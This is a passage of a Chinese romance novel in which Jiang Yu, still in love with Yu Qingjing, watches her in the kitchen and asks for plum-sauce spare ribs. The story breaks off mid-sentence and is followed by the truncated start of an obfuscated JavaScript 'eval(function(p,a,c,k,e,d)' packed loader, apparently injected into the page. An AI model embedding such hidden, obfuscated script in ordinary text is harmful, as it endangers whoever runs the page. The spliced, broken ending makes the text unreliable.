痒肉。
郁倾景也不生气,只是举着沾满面粉的手,用脸蹭了蹭她,然后把她从厨房里挤了出来。
“再这样就不给你吃了?”记忆中女人的笑容还是那么精彩纷呈,没有一丝褪色。
可她们现在早就不是当初那样可以随意打闹的关系了。
“郁倾景。”江遇又忍不住喊她,只是轻得像是在呢喃。
她真的很爱这样喊对方,稀松平常的三个字,组合成郁倾景的名字后,似乎就有了一种神奇的魔力。
让她无法释怀,无法放手,不舍得,不甘心,只想把这个名字连同着对方整个人都和自己粘在一起。
“郁倾景。”她起身,拉开了厨房的门,声音清晰了点。
虽然郁倾景给她取了个小名,平时会喊小名比较多,但她并没有对郁倾景的特殊称呼,她只是喜欢喊郁倾景的全名,一遍又一遍。
这比任何专属的称呼都更让她心尖发烫。
让她感到拥有对方的实感。
“怎么了?”郁倾景愣怔抬头,眼底含着疑问看她。
江遇忽然又不知道说什么了,心里有好多话,可是真正与郁倾景对视的时候,好像又一句都说不出来。
复杂翻涌的情绪就这样堵在她的喉间,难以吐露,又难以下咽。
她多想说,我好爱你。
她多想说,我还是好爱你。
但最后她只是收回了那些会让她们之间变得更尴尬的话,改作轻松的内容。
“我好想吃你之前做那个话梅排骨,今晚吃这个好不好?”
郁倾景有些为难,“家里没有排骨。”
不过很快她就洗了洗手拿起手机,“我下单外卖送过来吧,不过可能要晚点吃饭了。”
“你饿吗?”郁倾景转过头来,一如既往地细致,“我可以先给你做点东西垫垫肚子,排骨当宵夜吃也可以。”
“要不要喝糖水?”
江遇所有话又销声匿迹,艰难点了点头,她近乎狼狈地低下头,逃离厨房。
为什么要对自己那么好呢?她不能理解郁倾景所说的不爱了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+